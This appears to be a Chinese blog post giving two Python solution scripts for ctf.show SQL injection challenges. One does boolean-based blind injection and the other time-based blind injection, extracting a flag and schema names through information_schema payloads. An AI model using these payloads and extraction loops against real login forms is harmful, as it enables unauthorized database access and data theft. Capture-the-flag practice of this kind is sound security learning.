SQL注入-2
2022/4/5 2:18:59
本文主要是介绍SQL注入-2,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
简单盲注
import requests import time result = "" url = 'http://986b6ffa-086c-4650-8237-9557e9bd100c.challenge.ctf.show/api/' for i in range(80): min_num = 32 max_num = 127 while True: mid_num = (min_num + max_num) >> 1 if mid_num == min_num: result += chr(mid_num) print(result) break # table_name = ctfshow_fl0g,ctfshow_user # column_name = id,f1ag # payload = "admin' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),{},1))<{}#".format(i, mid_num) payload = "admin' and ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{}#".format(i, mid_num) data = { 'username': payload, 'password': 0 } response = requests.post(url, data=data) time.sleep(0.25) if response.text.find('8bef') > 0: max_num = mid_num else: min_num = mid_num
简单时间盲注
import requests import time dic = ' ,ctfshow{}abdegijklmnpqruvxyz0123456789-_{}ABCDEFGHIJKLMNOPQRSTUVWXYZ' url = 'http://414da80d-977f-4f64-baf7-5a7adbebb60a.challenge.ctf.show/api/' result = '' for i in range(1, 60): for word in dic: # payload = "admin' and if(left(database(),{0})='{1}',sleep(3),0)#".format(i, result + word) # payload = "admin' and if(left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0})='{1}',sleep(3),0)#".format(i, result + word) # payload = "admin' and if(left((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{})='{}',sleep(3),0)#".format(i, result + word) payload = "admin' and if(left((select f1ag from ctfshow_flxg),{})='{}',sleep(3),0)#".format(i, result + word) data = { 'username': payload, 'password': 0 } try: response = requests.post(url, data=data, timeout=2.5) time.sleep(0.25) except: result += word print(result) break
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